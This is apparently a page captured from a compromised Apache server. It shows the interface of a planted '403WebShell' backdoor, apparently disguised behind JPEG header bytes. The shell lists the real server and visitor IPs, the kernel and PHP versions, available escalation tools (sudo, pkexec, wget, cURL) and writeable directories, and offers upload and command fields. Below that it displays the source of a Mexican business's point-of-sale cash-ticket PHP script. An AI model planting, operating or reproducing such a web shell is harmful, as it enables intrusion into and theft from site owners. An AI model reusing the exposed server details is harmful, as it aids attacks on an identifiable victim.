����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 52.15.242.179
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/goldencar/sae/application/sales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/goldencar/sae/application/sales/nota_inout.php
<?php
$titlepage="Entrada/Salida Dinero";
date_default_timezone_set("America/Mexico_City");
//include "../../library/config.php";
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");
include "../layout/top-header_ticket.php"; 
include "../../appsae/core/autoload.php";
include "../../appsae/core/app/model/ProductData.php";
include "../../appsae/core/app/model/OperationData.php";
include "../../appsae/core/app/model/OperationTypeData.php";
include "../../appsae/core/app/model/StockData.php";
include "../../appsae/core/app/model/ConfigurationData.php";
include "../../appsae/core/app/model/SellData.php";
include "../../appsae/core/app/model/PersonData.php";
include "../../appsae/core/app/model/PaymentData.php";
include "../../appsae/core/app/model/FData.php";


if(!isset($_POST['id_inout'])) 
{
	die("Lo sentimos, el navegador no se puede actualizar para la seguridad de los datos. Vuelva a imprimir a través del formulario de reimpresión!!");
}

$id_inout=$_POST['id_inout'];


//echo $id_inout='J220717004';

$pos = new pos();
$sale = $pos->getInOutId($id_inout);

if($sale[0] == false)
{
	die('Error : '.$sale[1]);
}
$transaction_date = $sale[1]['created_at'];
$customer = 'Usuario';
$concept =$sale[1]['concept'];
$tax =0;
$note=$sale[1]['description'];
$nopage = 1;
$nopagelast = 0; 
$cashier = $sale[1]['user_id'];


$xshop = $pos->getrefsytemX();
$shop = $xshop[1]['name_shop'];
$address = $xshop[1]['address_shop'];
$phone = $xshop[1]['phone_shop'];


			$total = 0;
			$settingsRFC = ConfigurationData::getByIdRFC();
			$settings2 = ConfigurationData::getById1();
			$settingsEmisor = ConfigurationData::getByIdEmisor();
			$settingsCalle = ConfigurationData::getByIdCalle();
			$settingsInt = ConfigurationData::getByIdInt();
			$settingsExt = ConfigurationData::getByIdExt();
			$settingsColonia = ConfigurationData::getByIdColonia();
			$settingsCity = ConfigurationData::getByIdCity();
			$settingsCP = ConfigurationData::getByIdCp();
			$logo = ConfigurationData::getByPreffix("report_image")->val;//
		    $ruta_logo = "../../appsae/storage/configuration/$logo";

?>

<form class="form-horizontal" method="post" enctype="multipart/form-data" id="factura" action="#" role="form">
	<section class="content">
				
				<div class="btn-group pull-center">
					<button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
						<i class="fa fa-download"></i> Ticket Movimientos de Dinero<span class="caret"></span>
					</button>
					 
				</div>
					
					<?php //id de la venta?>
				
					
					<?php //Menu derecho?>
	
		
		<?php //empieza la impresion del ticket?>
					<!DOCTYPE html>
					<html>
						<head>
							<meta charset="UTF-8">
							<title></title>
							<script type="text/javascript">
								function imprimir() {
									if (window.print) {
										window.print();
									} else {
										alert("La función de impresion no esta soportada por su navegador.");
									}
								}
							</script>
						</head>
						<body onload="imprimir()" >
							<?php //encabezado de ticket?>
							<div class="row">
								<div class="col-md-4">
									<div class="box box-primary">
											<table class="table table-bordered">
													<tr>
														<td align="center"><img style=" border-radius: 50%;" src="<?php echo $ruta_logo;?>" width="120" height="120"></td>
													</tr>
													<tr>
														<td colspan="2" align="center"><?php echo $settingsEmisor->val;?></td>
													</tr> 
													<tr>
														<td colspan="2" align="center"><?php echo $settings2->val;?></td>
													</tr> 
													<tr>
														<td colspan="2" align="center"><?php echo $settingsCalle->val; echo " "; echo $settingsInt->val; echo " "; echo $settingsExt->val; echo " "; echo $settingsColonia->val;?>
														</td>
													</tr> 

											</table>
									</div>  
								</div>
							</div>
							
							
							
							<div class="row">
								<div class="col-md-4">
									<div class="box box-primary">
										<table class="table table-bordered">
											<?php 
											$time = time();
											
											if(isset($sell[1]['person_id'])){
												$client = " ";	
											}											
												?>
												<tr>
													<th  align="right">Firma:</th>
													<td colspan="3" ><input align="center" class="form-control" name="rfc" value="" placeholder=""></input></td>
													
												</tr>
												<?php 
												
											
											?>
											<tr>
											  <td><b> Almacen: </b></td>
											  <td colspan="2" align="left" id="created_at"><?php echo  StockData::getById( $sale[1]['stock_id'] )->name; ?></td>
											  <td colspan="2" align="right" id="cajero">Cajero #: </td>
												<td colspan="2" align="center" id="cajero"><?php echo $sale[1]['user_id'] ; ?> </td>
											</tr>
											<tr>
											  <td><b> Fecha Venta: </b></td>
											  <td colspan="2" align="left" id="date_sale"><?php echo $sale[1]['created_at'] ; ?></td>
											  
											   <td colspan="2" align="right" id="ticket">Ticket: </td>
												<td colspan="2" align="left" id="ticket"><b><?php echo $sale[1]['id'] ; ?></b> </td>
											</tr>
										</table>
									</div>  
								</div>
							</div>
							
							<?php //detalle de productos?>
							
							<div class="row">
								<div class="col-md-4">
									<div class="box box-primary">
										<table class="table table-bordered">
											<tr>
												<th style="width:100px;">Folio</th>
												<th>Descripcion</th>
												<th align="right">Monto</th>
												<th align="right">Movimiento</th>
											</tr>
											<?php
											//print_r($sale[1]);
											//die;
											if($sale[1]){

												
												?>	
												<tr>
												
													<td><b><?php echo $sale[1]['id'] ; ?></b></td>
													<td  align="left"><?php echo $sale[1]['concept'] ;?></td>
														<td><b><?php echo $sale[1]['amount']; ?></b></td>
													<td align="right"> <?php 
													if($sale[1]['kind'] == 1)
														echo "Entrada";
													else
														echo "Salida"; 
													?></td>
												
												</tr>	
											<?php
												
											} 
											?>	
										</table>
									</div>
								</div>
							</div>	
							
							
							
							<?php //pie del ticket   ?>
							<div class="row">
							<div class="col-md-4">
								<div class="box box-primary">
									<table class="table table-bordered">
									<tr>
										<td> Total :</td>
										<td></td>
										<td align="right"><u><b>$ <?php echo number_format($sale[1]['amount'],2,'.',','); ?></b></u></td>
									</tr>
									
									
									</table>
								</div>
							</div>
						</div>
							
							
							
						
						</body>
					</html>
					
					
					
	</section>	
</form>


<?php include "../layout/bottom-footer.php"; //footer template ?> 
<script src="../../plugins/datepicker/bootstrap-datepicker.js"></script>

<script src="j_pos.js"></script>

Youez - 2016 - github.com/yon3zu
LinuXploit